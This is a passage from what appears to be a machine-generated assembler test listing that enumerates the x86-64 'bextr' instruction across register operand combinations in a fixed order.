bextr eax, edx, r9d
bextr eax, edx, r10d
bextr eax, edx, r11d
bextr eax, edx, r12d
bextr eax, edx, r13d
bextr eax, edx, r14d
bextr eax, edx, r15d
bextr eax, edx, esp
bextr eax, edx, esi
bextr eax, edx, ebp
bextr eax, edi, eax
bextr eax, edi, ebx
bextr eax, edi, ecx
bextr eax, edi, edx
bextr eax, edi, edi
bextr eax, edi, r8d
bextr eax, edi, r9d
bextr eax, edi, r10d
bextr eax, edi, r11d
bextr eax, edi, r12d
bextr eax, edi, r13d
bextr eax, edi, r14d
bextr eax, edi, r15d
bextr eax, edi, esp
bextr eax, edi, esi
bextr eax, edi, ebp
bextr eax, r8d, eax
bextr eax, r8d, ebx
bextr eax, r8d, ecx
bextr eax, r8d, edx
bextr eax, r8d, edi
bextr eax, r8d, r8d
bextr eax, r8d, r9d
bextr eax, r8d, r10d
bextr eax, r8d, r11d
bextr eax, r8d, r12d
bextr eax, r8d, r13d
bextr eax, r8d, r14d
bextr eax, r8d, r15d
bextr eax, r8d, esp
bextr eax, r8d, esi
bextr eax, r8d, ebp
bextr eax, r9d, eax
bextr eax, r9d, ebx
bextr eax, r9d, ecx
bextr eax, r9d, edx
bextr eax, r9d, edi
bextr eax, r9d, r8d
bextr eax, r9d, r9d
bextr eax, r9d, r10d
bextr eax, r9d, r11d
bextr eax, r9d, r12d
bextr eax, r9d, r13d
bextr eax, r9d, r14d
bextr eax, r9d, r15d
bextr eax, r9d, esp
bextr eax, r9d, esi
bextr eax, r9d, ebp
bextr eax, r10d, eax
bextr eax, r10d, ebx
bextr eax, r10d, ecx
bextr eax, r10d, edx
bextr eax, r10d, edi
bextr eax, r10d, r8d
bextr eax, r10d, r9d
bextr eax, r10d, r10d
bextr eax, r10d, r11d
bextr eax, r10d, r12d
bextr eax, r10d, r13d
bextr eax, r10d, r14d
bextr eax, r10d, r15d
bextr eax, r10d, esp
bextr eax, r10d, esi
bextr eax, r10d, ebp
bextr eax, r11d, eax
bextr eax, r11d, ebx
bextr eax, r11d, ecx
bextr eax, r11d, edx
bextr eax, r11d, edi
bextr eax, r11d, r8d
bextr eax, r11d, r9d
bextr eax, r11d, r10d
bextr eax, r11d, r11d
bextr eax, r11d, r12d
bextr eax, r11d, r13d
bextr eax, r11d, r14d
bextr eax, r11d, r15d
bextr eax, r11d, esp
bextr eax, r11d, esi
bextr eax, r11d, ebp
bextr eax, r12d, eax
bextr eax, r12d, ebx
bextr eax, r12d, ecx
bextr eax, r12d, edx
bextr eax, r12d, edi
bextr eax, r12d, r8d
bextr eax, r12d, r9d
bextr eax, r12d, r10d
bextr eax, r12d, r11d
bextr eax, r12d, r12d
bextr eax, r12d, r13d
bextr eax, r12d, r14d
bextr eax, r12d, r15d
bextr eax, r12d, esp
bextr eax, r12d, esi
bextr eax, r12d, ebp
bextr eax, r13d, eax
bextr eax, r13d, ebx
bextr eax, r13d, ecx
bextr eax, r13d, edx
bextr eax, r13d, edi
bextr eax, r13d, r8d
bextr eax, r13d, r9d
bextr eax, r13d, r10d
bextr eax, r13d, r11d
bextr eax, r13d, r12d
bextr eax, r13d, r13d
bextr eax, r13d, r14d
bextr eax, r13d, r15d
bextr eax, r13d, esp
bextr eax, r13d, esi
bextr eax, r13d, ebp
bextr eax, r14d, eax
bextr eax, r14d, ebx
bextr eax, r14d, ecx
bextr eax, r14d, edx
bextr eax, r14d, edi
bextr eax, r14d, r8d
bextr eax, r14d, r9d
bextr eax, r14d, r10d
bextr eax, r14d, r11d
bextr eax, r14d, r12d
bextr eax, r14d, r13d
bextr eax, r14d, r14d
bextr eax, r14d, r15d
bextr eax, r14d, esp
bextr eax, r14d, esi
bextr eax, r14d, ebp
bextr eax, r15d, eax
bextr eax, r15d, ebx
bextr eax, r15d, ecx
bextr eax, r15d, edx
bextr eax, r15d, edi
bextr eax, r15d, r8d
bextr eax, r15d, r9d
bextr eax, r15d, r10d
bextr eax, r15d, r11d
bextr eax, r15d, r12d
bextr eax, r15d, r13d
bextr eax, r15d, r14d
bextr eax, r15d, r15d
bextr eax, r15d, esp
bextr eax, r15d, esi
bextr eax, r15d, ebp
bextr eax, esp, eax
bextr eax, esp, ebx
bextr eax, esp, ecx
bextr eax, esp, edx
bextr eax, esp, edi
bextr eax, esp, r8d
bextr eax, esp, r9d
bextr eax, esp, r10d
bextr eax, esp, r11d
bextr eax, esp, r12d
bextr eax, esp, r13d
bextr eax, esp, r14d
bextr eax, esp, r15d
bextr eax, esp, esp
bextr eax, esp, esi
bextr eax, esp, ebp
bextr eax, esi, eax
bextr eax, esi, ebx
bextr eax, esi, ecx
bextr eax, esi, edx
bextr eax, esi, edi
bextr eax, esi, r8d
bextr eax, esi, r9d
bextr eax, esi, r10d
bextr eax, esi, r11d
bextr eax, esi, r12d
bextr eax, esi, r13d
bextr eax, esi, r14d
bextr eax, esi, r15d
bextr eax, esi, esp
bextr eax, esi, esi
bextr eax, esi, ebp
bextr eax, ebp, eax
bextr eax, ebp, ebx
bextr eax, ebp, ecx
bextr eax, ebp, edx
bextr eax, ebp, edi
bextr eax, ebp, r8d
bextr eax, ebp, r9d
bextr eax, ebp, r10d
bextr eax, ebp, r11d
bextr eax, ebp, r12d
bextr eax, ebp, r13d
bextr eax, ebp, r14d
bextr eax, ebp, r15d
bextr eax, ebp, esp
bextr eax, ebp, esi
bextr eax, ebp, ebp
bextr ebx, eax, eax
bextr ebx, eax, ebx
bextr ebx, eax, ecx
bextr ebx, eax, edx
bextr ebx, eax, edi
bextr ebx, eax, r8d
bextr ebx, eax, r9d
bextr ebx, eax, r10d
bextr ebx, eax, r11d
bextr ebx, eax, r12d
bextr ebx, eax, r13d
bextr ebx, eax, r14d
bextr ebx, eax, r15d
bextr ebx, eax, esp
bextr ebx, eax, esi
bextr ebx, eax, ebp
bextr ebx, ebx, eax
bextr ebx, ebx, ebx
bextr ebx, ebx, ecx
bextr ebx, ebx, edx
bextr ebx, ebx, edi
bextr ebx, ebx, r8d
bextr ebx, ebx, r9d
bextr ebx, ebx, r10d
bextr ebx, ebx, r11d
bextr ebx, ebx, r12d
bextr ebx, ebx, r13d
bextr ebx, ebx, r14d
bextr ebx, ebx, r15d
bextr ebx, ebx, esp
bextr ebx, ebx, esi
bextr ebx, ebx, ebp
bextr ebx, ecx, eax
bextr ebx, ecx, ebx
bextr ebx, ecx, ecx
bextr ebx, ecx, edx
bextr ebx, ecx, edi
bextr ebx, ecx, r8d
bextr ebx, ecx, r9d
bextr ebx, ecx, r10d
bextr ebx, ecx, r11d
bextr ebx, ecx, r12d
bextr ebx, ecx, r13d
bextr ebx, ecx, r14d
bextr ebx, ecx, r15d
bextr ebx, ecx, esp
bextr ebx, ecx, esi
bextr ebx, ecx, ebp
bextr ebx, edx, eax
bextr ebx, edx, ebx
bextr ebx, edx, ecx
bextr ebx, edx, edx
bextr ebx, edx, edi
bextr ebx, edx, r8d
bextr ebx, edx, r9d
bextr ebx, edx, r10d
bextr ebx, edx, r11d
bextr ebx, edx, r12d
bextr ebx, edx, r13d
bextr ebx, edx, r14d
bextr ebx, edx, r15d
bextr ebx, edx, esp
bextr ebx, edx, esi
bextr ebx, edx, ebp
bextr ebx, edi, eax
bextr ebx, edi, ebx
bextr ebx, edi, ecx
bextr ebx, edi, edx
bextr ebx, edi, edi
bextr ebx, edi, r8d
bextr ebx, edi, r9d
bextr ebx, edi, r10d
bextr ebx, edi, r11d
bextr ebx, edi, r12d
bextr ebx, edi, r13d
bextr ebx, edi, r14d
bextr ebx, edi, r15d
bextr ebx, edi, esp
bextr ebx, edi, esi
bextr ebx, edi, ebp
bextr ebx, r8d, eax
bextr ebx, r8d, ebx
bextr ebx, r8d, ecx
bextr ebx, r8d, edx
bextr ebx, r8d, edi
bextr ebx, r8d, r8d
bextr ebx, r8d, r9d
bextr ebx, r8d, r10d
bextr ebx, r8d, r11d
bextr ebx, r8d, r12d
bextr ebx, r8d, r13d
bextr ebx, r8d, r14d
bextr ebx, r8d, r15d
bextr ebx, r8d, esp
bextr ebx, r8d, esi
bextr ebx, r8d, ebp
bextr ebx, r9d, eax
bextr ebx, r9d, ebx
bextr ebx, r9d, ecx
bextr ebx, r9d, edx
bextr ebx, r9d, edi
bextr ebx, r9d, r8d
bextr ebx, r9d, r9d
bextr ebx, r9d, r10d
bextr ebx, r9d, r11d
bextr ebx, r9d, r12d
bextr ebx, r9d, r13d
bextr ebx, r9d, r14d
bextr ebx, r9d, r15d
bextr ebx, r9d, esp
bextr ebx, r9d, esi
bextr ebx, r9d, ebp
bextr ebx, r10d, eax
bextr ebx, r10d, ebx
bextr ebx, r10d, ecx
bextr ebx, r10d, edx
bextr ebx, r10d, edi
bextr ebx, r10d, r8d
bextr ebx, r10d, r9d
bextr ebx, r10d, r10d
bextr ebx, r10d, r11d
bextr ebx, r10d, r12d
bextr ebx, r10d, r13d
bextr ebx, r10d, r14d
bextr ebx, r10d, r15d
bextr ebx, r10d, esp
bextr ebx, r10d, esi
bextr ebx, r10d, ebp
bextr ebx, r11d, eax
bextr ebx, r11d, ebx
bextr ebx, r11d, ecx
bextr ebx, r11d, edx
bextr ebx, r11d, edi
bextr ebx, r11d, r8d
bextr ebx, r11d, r9d
bextr ebx, r11d, r10d
bextr ebx, r11d, r11d
bextr ebx, r11d, r12d
bextr ebx, r11d, r13d
bextr ebx, r11d, r14d
bextr ebx, r11d, r15d
bextr ebx, r11d, esp
bextr ebx, r11d, esi
bextr ebx, r11d, ebp
bextr ebx, r12d, eax
bextr ebx, r12d, ebx
bextr ebx, r12d, ecx
bextr ebx, r12d, edx
bextr ebx, r12d, edi
bextr ebx, r12d, r8d
bextr ebx, r12d, r9d
bextr ebx, r12d, r10d
bextr ebx, r12d, r11d
bextr ebx, r12d, r12d
bextr ebx, r12d, r13d
bextr ebx, r12d, r14d
bextr ebx, r12d, r15d
bextr ebx, r12d, esp
bextr ebx, r12d, esi
bextr ebx, r12d, ebp
bextr ebx, r13d, eax
bextr ebx, r13d, ebx
bextr ebx, r13d, ecx
bextr ebx, r13d, edx
bextr ebx, r13d, edi
bextr ebx, r13d, r8d
bextr ebx, r13d, r9d
bextr ebx, r13d, r10d
bextr ebx, r13d, r11d
bextr ebx, r13d, r12d
bextr ebx, r13d, r13d
bextr ebx, r13d, r14d
bextr ebx, r13d, r15d
bextr ebx, r13d, esp
bextr ebx, r13d, esi
bextr ebx, r13d, ebp
bextr ebx, r14d, eax
bextr ebx, r14d, ebx
bextr ebx, r14d, ecx
bextr ebx, r14d, edx
bextr ebx, r14d, edi
bextr ebx, r14d, r8d
bextr ebx, r14d, r9d
bextr ebx, r14d, r10d
bextr ebx, r14d, r11d
bextr ebx, r14d, r12d
bextr ebx, r14d, r13d
bextr ebx, r14d, r14d
bextr ebx, r14d, r15d
bextr ebx, r14d, esp
bextr ebx, r14d, esi
bextr ebx, r14d, ebp
bextr ebx, r15d, eax
bextr ebx, r15d, ebx
bextr ebx, r15d, ecx
bextr ebx, r15d, edx
bextr ebx, r15d, edi
bextr ebx, r15d, r8d
bextr ebx, r15d, r9d
bextr ebx, r15d, r10d
bextr ebx, r15d, r11d
bextr ebx, r15d, r12d
bextr ebx, r15d, r13d
bextr ebx, r15d, r14d
bextr ebx, r15d, r15d
bextr ebx, r15d, esp
bextr ebx, r15d, esi
bextr ebx, r15d, ebp
bextr ebx, esp, eax
bextr ebx, esp, ebx
bextr ebx, esp, ecx
bextr ebx, esp, edx
bextr ebx, esp, edi
bextr ebx, esp, r8d
bextr ebx, esp, r9d
bextr ebx, esp, r10d
bextr ebx, esp, r11d
bextr ebx, esp, r12d
bextr ebx, esp, r13d
bextr ebx, esp, r14d
bextr ebx, esp, r15d
bextr ebx, esp, esp
bextr ebx, esp, esi
bextr ebx, esp, ebp
bextr ebx, esi, eax
bextr ebx, esi, ebx
bextr ebx, esi, ecx
bextr ebx, esi, edx
bextr ebx, esi, edi
bextr ebx, esi, r8d
bextr ebx, esi, r9d
bextr ebx, esi, r10d
bextr ebx, esi, r11d
bextr ebx, esi, r12d
bextr ebx, esi, r13d
bextr ebx, esi, r14d
bextr ebx, esi, r15d
bextr ebx, esi, esp
bextr ebx, esi, esi
bextr ebx, esi, ebp
bextr ebx, ebp, eax
bextr ebx, ebp, ebx
bextr ebx, ebp, ecx
bextr ebx, ebp, edx
bextr ebx, ebp, edi
bextr ebx, ebp, r8d
bextr ebx, ebp, r9d
bextr ebx, ebp, r10d
bextr ebx, ebp, r11d
bextr ebx, ebp, r12d
bextr ebx, ebp, r13d
bextr ebx, ebp, r14d
bextr ebx, ebp, r15d
bextr ebx, ebp, esp
bextr ebx, ebp, esi
bextr ebx, ebp, ebp
bextr ecx, eax, eax
bextr ecx, eax, ebx
bextr ecx, eax, ecx
bextr ecx, eax, edx
bextr ecx, eax, edi
bextr ecx, eax, r8d
bextr ecx, eax, r9d
bextr ecx, eax, r10d
bextr ecx, eax, r11d
bextr ecx, eax, r12d
bextr ecx, eax, r13d
bextr ecx, eax, r14d
bextr ecx, eax, r15d
bextr ecx, eax, esp
bextr ecx, eax, esi
bextr ecx, eax, ebp
bextr ecx, ebx, eax
bextr ecx, ebx, ebx
bextr ecx, ebx, ecx
bextr ecx, ebx, edx
bextr ecx, ebx, edi
bextr ecx, ebx, r8d
bextr ecx, ebx, r9d
bextr ecx, ebx, r10d
bextr ecx, ebx, r11d
bextr ecx, ebx, r12d
bextr ecx, ebx, r13d
bextr ecx, ebx, r14d
bextr ecx, ebx, r15d
bextr ecx, ebx, esp
bextr ecx, ebx, esi
bextr ecx, ebx, ebp
bextr ecx, ecx, eax
bextr ecx, ecx, ebx
bextr ecx, ecx, ecx
bextr ecx, ecx, edx
bextr ecx, ecx, edi
bextr ecx, ecx, r8d
bextr ecx, ecx, r9d
bextr ecx, ecx, r10d
bextr ecx, ecx, r11d
bextr ecx, ecx, r12d
bextr ecx, ecx, r13d
bextr ecx, ecx, r14d
bextr ecx, ecx, r15d
bextr ecx, ecx, esp
bextr ecx, ecx, esi
bextr ecx, ecx, ebp
bextr ecx, edx, eax
bextr ecx, edx, ebx
bextr ecx, edx, ecx
bextr ecx, edx, edx
bextr ecx, edx, edi
bextr ecx, edx, r8d
bextr ecx, edx, r9d
bextr ecx, edx, r10d
bextr ecx, edx, r11d
bextr ecx, edx, r12d
bextr ecx, edx, r13d
bextr ecx, edx, r14d
bextr ecx, edx, r15d
bextr ecx, edx, esp
bextr ecx, edx, esi
bextr ecx, edx, ebp
bextr ecx, edi, eax
bextr ecx, edi, ebx
bextr ecx, edi, ecx
bextr ecx, edi, edx
bextr ecx, edi, edi
bextr ecx, edi, r8d
bextr ecx, edi, r9d
bextr ecx, edi, r10d
bextr ecx, edi, r11d
bextr ecx, edi, r12d
bextr ecx, edi, r13d
bextr ecx, edi, r14d
bextr ecx, edi, r15d
bextr ecx, edi, esp
bextr ecx, edi, esi
bextr ecx, edi, ebp
bextr ecx, r8d, eax
bextr ecx, r8d, ebx
bextr ecx, r8d, ecx
bextr ecx, r8d, edx
bextr ecx, r8d, edi
bextr ecx, r8d, r8d
bextr ecx, r8d, r9d
bextr ecx, r8d, r10d
bextr ecx, r8d, r11d
bextr ecx, r8d, r12d
bextr ecx, r8d, r13d
bextr ecx, r8d, r14d
bextr ecx, r8d, r15d
bextr ecx, r8d, esp
bextr ecx, r8d, esi
bextr ecx, r8d, ebp
bextr ecx, r9d, eax
bextr ecx, r9d, ebx
bextr ecx, r9d, ecx
bextr ecx, r9d, edx
bextr ecx, r9d, edi
bextr ecx, r9d, r8d
bextr ecx, r9d, r9d
bextr ecx, r9d, r10d
bextr ecx, r9d, r11d
bextr ecx, r9d, r12d
bextr ecx, r9d, r13d
bextr ecx, r9d, r14d
bextr ecx, r9d, r15d
bextr ecx, r9d, esp
bextr ecx, r9d, esi
bextr ecx, r9d, ebp
bextr ecx, r10d, eax
bextr ecx, r10d, ebx
bextr ecx, r10d, ecx
bextr ecx, r10d, edx
bextr ecx, r10d, edi
bextr ecx, r10d, r8d
bextr ecx, r10d, r9d
bextr ecx, r10d, r10d
bextr ecx, r10d, r11d
bextr ecx, r10d, r12d
bextr ecx, r10d, r13d
bextr ecx, r10d, r14d
bextr ecx, r10d, r15d
bextr ecx, r10d, esp
bextr ecx, r10d, esi
bextr ecx, r10d, ebp
bextr ecx, r11d, eax
bextr ecx, r11d, ebx
bextr ecx, r11d, ecx
bextr ecx, r11d, edx
bextr ecx, r11d, edi
bextr ecx, r11d, r8d
bextr ecx, r11d, r9d
bextr ecx, r11d, r10d
bextr ecx, r11d, r11d
bextr ecx, r11d, r12d
bextr ecx, r11d, r13d
bextr ecx, r11d, r14d
bextr ecx, r11d, r15d
bextr ecx, r11d, esp
bextr ecx, r11d, esi
bextr ecx, r11d, ebp
bextr ecx, r12d, eax
bextr ecx, r12d, ebx
bextr ecx, r12d, ecx
bextr ecx, r12d, edx
bextr ecx, r12d, edi
bextr ecx, r12d, r8d
bextr ecx, r12d, r9d
bextr ecx, r12d, r10d
bextr ecx, r12d, r11d
bextr ecx, r12d, r12d
bextr ecx, r12d, r13d
bextr ecx, r12d, r14d
bextr ecx, r12d, r15d
bextr ecx, r12d, esp
bextr ecx, r12d, esi
bextr ecx, r12d, ebp
bextr ecx, r13d, eax
bextr ecx, r13d, ebx
bextr ecx, r13d, ecx
bextr ecx, r13d, edx
bextr ecx, r13d, edi
bextr ecx, r13d, r8d
bextr ecx, r13d, r9d
bextr ecx, r13d, r10d
bextr ecx, r13d, r11d
bextr ecx, r13d, r12d
bextr ecx, r13d, r13d
bextr ecx, r13d, r14d
bextr ecx, r13d, r15d
bextr ecx, r13d, esp
bextr ecx, r13d, esi
bextr ecx, r13d, ebp
bextr ecx, r14d, eax
bextr ecx, r14d, ebx
bextr ecx, r14d, ecx
bextr ecx, r14d, edx
bextr ecx, r14d, edi
bextr ecx, r14d, r8d
bextr ecx, r14d, r9d
bextr ecx, r14d, r10d
bextr ecx, r14d, r11d
bextr ecx, r14d, r12d
bextr ecx, r14d, r13d
bextr ecx, r14d, r14d
bextr ecx, r14d, r15d
bextr ecx, r14d, esp
bextr ecx, r14d, esi
bextr ecx, r14d, ebp
bextr ecx, r15d, eax
bextr ecx, r15d, ebx
bextr ecx, r15d, ecx
bextr ecx, r15d, edx
bextr ecx, r15d, edi
bextr ecx, r15d, r8d
bextr ecx, r15d, r9d
bextr ecx, r15d, r10d
bextr ecx, r15d, r11d
bextr ecx, r15d, r12d
bextr ecx, r15d, r13d
bextr ecx, r15d, r14d
bextr ecx, r15d, r15d
bextr ecx, r15d, esp
bextr ecx, r15d, esi
bextr ecx, r15d, ebp
bextr ecx, esp, eax
bextr ecx, esp, ebx
bextr ecx, esp, ecx
bextr ecx, esp, edx
bextr ecx, esp, edi
bextr ecx, esp, r8d
bextr ecx, esp, r9d
bextr ecx, esp, r10d
bextr ecx, esp, r11d
bextr ecx, esp, r12d
bextr ecx, esp, r13d
bextr ecx, esp, r14d
bextr ecx, esp, r15d
bextr ecx, esp, esp
bextr ecx, esp, esi
bextr ecx, esp, ebp
bextr ecx, esi, eax
bextr ecx, esi, ebx
bextr ecx, esi, ecx
bextr ecx, esi, edx
bextr ecx, esi, edi
bextr ecx, esi, r8d
bextr ecx, esi, r9d
bextr ecx, esi, r10d
bextr ecx, esi, r11d
bextr ecx, esi, r12d
bextr ecx, esi, r13d
bextr ecx, esi, r14d
bextr ecx, esi, r15d
bextr ecx, esi, esp
bextr ecx, esi, esi
bextr ecx, esi, ebp
bextr ecx, ebp, eax
bextr ecx, ebp, ebx
bextr ecx, ebp, ecx
bextr ecx, ebp, edx
bextr ecx, ebp, edi
bextr ecx, ebp, r8d
bextr ecx, ebp, r9d
bextr ecx, ebp, r10d
bextr ecx, ebp, r11d
bextr ecx, ebp, r12d
bextr ecx, ebp, r13d
bextr ecx, ebp, r14d
bextr ecx, ebp, r15d
bextr ecx, ebp, esp
bextr ecx, ebp, esi
bextr ecx, ebp, ebp
bextr edx, eax, eax
bextr edx, eax, ebx
bextr edx, eax, ecx
bextr edx, eax, edx
bextr edx, eax, edi
bextr edx, eax, r8d
bextr edx, eax, r9d
bextr edx, eax, r10d
bextr edx, eax, r11d
bextr edx, eax, r12d
bextr edx, eax, r13d
bextr edx, eax, r14d
bextr edx, eax, r15d
bextr edx, eax, esp
bextr edx, eax, esi
bextr edx, eax, ebp
bextr edx, ebx, eax
bextr edx, ebx, ebx
bextr edx, ebx, ecx
bextr edx, ebx, edx
bextr edx, ebx, edi
bextr edx, ebx, r8d
bextr edx, ebx, r9d
bextr edx, ebx, r10d
bextr edx, ebx, r11d
bextr edx, ebx, r12d
bextr edx, ebx, r13d
bextr edx, ebx, r14d
bextr edx, ebx, r15d
bextr edx, ebx, esp
bextr edx, ebx, esi
bextr edx, ebx, ebp
bextr edx, ecx, eax
bextr edx, ecx, ebx
bextr edx, ecx, ecx
bextr edx, ecx, edx
bextr edx, ecx, edi
bextr edx, ecx, r8d
bextr edx, ecx, r9d
bextr edx, ecx, r10d
bextr edx, ecx, r11d
bextr edx, ecx, r12d
bextr edx, ecx, r13d
bextr edx, ecx, r14d
bextr edx, ecx, r15d
bextr edx, ecx, esp
bextr edx, ecx, esi
bextr edx, ecx, ebp
bextr edx, edx, eax
bextr edx, edx, ebx
bextr edx, edx, ecx
bextr edx, edx, edx
bextr edx, edx, edi
bextr edx, edx, r8d
bextr edx, edx, r9d
bextr edx, edx, r10d
bextr edx, edx, r11d
bextr edx, edx, r12d
bextr edx, edx, r13d
bextr edx, edx, r14d
bextr edx, edx, r15d
bextr edx, edx, esp
bextr edx, edx, esi
bextr edx, edx, ebp
bextr edx, edi, eax
bextr edx, edi, ebx
bextr edx, edi, ecx
bextr edx, edi, edx
bextr edx, edi, edi
bextr edx, edi, r8d
bextr edx, edi, r9d
bextr edx, edi, r10d
bextr edx, edi, r11d
bextr edx, edi, r12d
bextr edx, edi, r13d
bextr edx, edi, r14d
bextr edx, edi, r15d
bextr edx, edi, esp
bextr edx, edi, esi
bextr edx, edi, ebp
bextr edx, r8d, eax
bextr edx, r8d, ebx
bextr edx, r8d, ecx
bextr edx, r8d, edx
bextr edx, r8d, edi
bextr edx, r8d, r8d
bextr edx, r8d, r9d
bextr edx, r8d, r10d
bextr edx, r8d, r11d
bextr edx, r8d, r12d
bextr edx, r8d, r13d
bextr edx, r8d, r14d
bextr edx, r8d, r15d
bextr edx, r8d, esp
bextr edx, r8d, esi
bextr edx, r8d, ebp
bextr edx, r9d, eax
bextr edx, r9d, ebx
bextr edx, r9d, ecx
bextr edx, r9d, edx
bextr edx, r9d, edi
bextr edx, r9d, r8d
bextr edx, r9d, r9d
bextr edx, r9d, r10d
bextr edx, r9d, r11d
bextr edx, r9d, r12d
bextr edx, r9d, r13d
bextr edx, r9d, r14d
bextr edx, r9d, r15d
bextr edx, r9d, esp
bextr edx, r9d, esi
bextr edx, r9d, ebp
bextr edx, r10d, eax
bextr edx, r10d, ebx
bextr edx, r10d, ecx
bextr edx, r10d, edx
bextr edx, r10d, edi
bextr edx, r10d, r8d
bextr edx, r10d, r9d
bextr edx, r10d, r10d
bextr edx, r10d, r11d
bextr edx, r10d, r12d
bextr edx, r10d, r13d
bextr edx, r10d, r14d
bextr edx, r10d, r15d
bextr edx, r10d, esp
bextr edx, r10d, esi
bextr edx, r10d, ebp
bextr edx, r11d, eax
bextr edx, r11d, ebx
bextr edx, r11d, ecx
bextr edx, r11d, edx
bextr edx, r11d, edi
bextr edx, r11d, r8d
bextr edx, r11d, r9d
bextr edx, r11d, r10d
bextr edx, r11d, r11d
bextr edx, r11d, r12d
bextr edx, r11d, r13d
bextr edx, r11d, r14d
bextr edx, r11d, r15d
bextr edx, r11d, esp
bextr edx, r11d, esi
bextr edx, r11d, ebp
bextr edx, r12d, eax
bextr edx, r12d, ebx
bextr edx, r12d, ecx
bextr edx, r12d, edx
bextr edx, r12d, edi
bextr edx, r12d, r8d
bextr edx, r12d, r9d
bextr edx, r12d, r10d
bextr edx, r12d, r11d
bextr edx, r12d, r12d
bextr edx, r12d, r13d
bextr edx, r12d, r14d
bextr edx, r12d, r15d
bextr edx, r12d, esp
bextr edx, r12d, esi
bextr edx, r12d, ebp
bextr edx, r13d, eax
bextr edx, r13d, ebx
bextr edx, r13d, ecx
bextr edx, r13d, edx
bextr edx, r13d, edi
bextr edx, r13d, r8d
bextr edx, r13d, r9d
bextr edx, r13d, r10d
bextr edx, r13d, r11d
bextr edx, r13d, r12d
bextr edx, r13d, r13d
bextr edx, r13d, r14d
bextr edx, r13d, r15d
bextr edx, r13d, esp
bextr edx, r13d, esi
bextr edx, r13d, ebp
bextr edx, r14d, eax
bextr edx, r14d, ebx
bextr edx, r14d, ecx
bextr edx, r14d, edx
bextr edx, r14d, edi
bextr edx, r14d, r8d
bextr edx, r14d, r9d
bextr edx, r14d, r10d
bextr edx, r14d, r11d
bextr edx, r14d, r12d
bextr edx, r14d, r13d
bextr edx, r14d, r14d
bextr edx, r14d, r15d
bextr edx, r14d, esp
bextr edx, r14d, esi
bextr edx, r14d, ebp
bextr edx, r15d, eax
bextr edx, r15d, ebx
bextr edx, r15d, ecx
bextr edx, r15d, edx
bextr edx, r15d, edi
bextr edx, r15d, r8d
bextr edx, r15d, r9d
bextr edx, r15d, r10d
bextr edx, r15d, r11d
bextr edx, r15d, r12d
bextr edx, r15d, r13d
bextr edx, r15d, r14d
bextr edx, r15d, r15d
bextr edx, r15d, esp
bextr edx, r15d, esi
bextr edx, r15d, ebp
bextr edx, esp, eax
bextr edx, esp, ebx
bextr edx, esp, ecx
bextr edx, esp, edx
bextr edx, esp, edi
bextr edx, esp, r8d
bextr edx, esp, r9d
bextr edx, esp, r10d
bextr edx, esp, r11d
bextr edx, esp, r12d
bextr edx, esp, r13d
bextr edx, esp, r14d
bextr edx, esp, r15d
bextr edx, esp, esp
bextr edx, esp, esi
bextr edx, esp, ebp
bextr edx, esi, eax
bextr edx, esi, ebx
bextr edx, esi, ecx
bextr edx, esi, edx
bextr edx, esi, edi
bextr edx, esi, r8d
bextr edx, esi, r9d
bextr edx, esi, r10d
bextr edx, esi, r11d
bextr edx, esi, r12d
bextr edx, esi, r13d
bextr edx, esi, r14d
bextr edx, esi, r15d
bextr edx, esi, esp
bextr edx, esi, esi
bextr edx, esi, ebp
bextr edx, ebp, eax
bextr edx, ebp, ebx
bextr edx, ebp, ecx
bextr edx, ebp, edx
bextr edx, ebp, edi
bextr edx, ebp, r8d
bextr edx, ebp, r9d
bextr edx, ebp, r10d
bextr edx, ebp, r11d
bextr edx, ebp, r12d
bextr edx, ebp, r13d
bextr edx, ebp, r14d
bextr edx, ebp, r15d
bextr edx, ebp, esp
bextr edx, ebp, esi
bextr edx, ebp, ebp
bextr edi, eax, eax
bextr edi, eax, ebx
bextr edi, eax, ecx
bextr edi, eax, edx
bextr edi, eax, edi
bextr edi, eax, r8d
bextr edi, eax, r9d
bextr edi, eax, r10d
bextr edi, eax, r11d
bextr edi, eax, r12d
bextr edi, eax, r13d
bextr edi, eax, r14d
bextr edi, eax, r15d
bextr edi, eax, esp
bextr edi, eax, esi
bextr edi, eax, ebp
bextr edi, ebx, eax
bextr edi, ebx, ebx
bextr edi, ebx, ecx
bextr edi, ebx, edx
bextr edi, ebx, edi
bextr edi, ebx, r8d
bextr edi, ebx, r9d
bextr edi, ebx, r10d
bextr edi, ebx, r11d
bextr edi, ebx, r12d
bextr edi, ebx, r13d
bextr edi, ebx, r14d
bextr edi, ebx, r15d
bextr edi, ebx, esp
bextr edi, ebx, esi
bextr edi, ebx, ebp
bextr edi, ecx, eax
bextr edi, ecx, ebx
bextr edi, ecx, ecx
bextr edi, ecx, edx
bextr edi, ecx, edi
bextr edi, ecx, r8d
bextr edi, ecx, r9d
bextr edi, ecx, r10d
bextr edi, ecx, r11d
bextr edi, ecx, r12d
bextr edi, ecx, r13d
bextr edi, ecx, r14d
bextr edi, ecx, r15d
bextr edi, ecx, esp
bextr edi, ecx, esi
bextr edi, ecx, ebp
bextr edi, edx, eax
bextr edi, edx, ebx
bextr edi, edx, ecx
bextr edi, edx, edx
bextr edi, edx, edi
bextr edi, edx, r8d
bextr edi, edx, r9d
bextr edi, edx, r10d
bextr edi, edx, r11d
bextr edi, edx, r12d
bextr edi, edx, r13d
bextr edi, edx, r14d
bextr edi, edx, r15d
bextr edi, edx, esp
bextr edi, edx, esi
bextr edi, edx, ebp
bextr edi, edi, eax
bextr edi, edi, ebx
bextr edi, edi, ecx
bextr edi, edi, edx
bextr edi, edi, edi
bextr edi, edi, r8d
bextr edi, edi, r9d
bextr edi, edi, r10d
bextr edi, edi, r11d
bextr edi, edi, r12d
bextr edi, edi, r13d
bextr edi, edi, r14d
bextr edi, edi, r15d
bextr edi, edi, esp
bextr edi, edi, esi
bextr edi, edi, ebp
bextr edi, r8d, eax
bextr edi, r8d, ebx
bextr edi, r8d, ecx
bextr edi, r8d, edx
bextr edi, r8d, edi
bextr edi, r8d, r8d
bextr edi, r8d, r9d
bextr edi, r8d, r10d
bextr edi, r8d, r11d
bextr edi, r8d, r12d
bextr edi, r8d, r13d
bextr edi, r8d, r14d
bextr edi, r8d, r15d
bextr edi, r8d, esp
bextr edi, r8d, esi
bextr edi, r8d, ebp
bextr edi, r9d, eax
bextr edi, r9d, ebx
bextr edi, r9d, ecx
bextr edi, r9d, edx
bextr edi, r9d, edi
bextr edi, r9d, r8d
bextr edi, r9d, r9d
bextr edi, r9d, r10d
bextr edi, r9d, r11d
bextr edi, r9d, r12d
bextr edi, r9d, r13d
bextr edi, r9d, r14d
bextr edi, r9d, r15d
bextr edi, r9d, esp
bextr edi, r9d, esi
bextr edi, r9d, ebp
bextr edi, r10d, eax
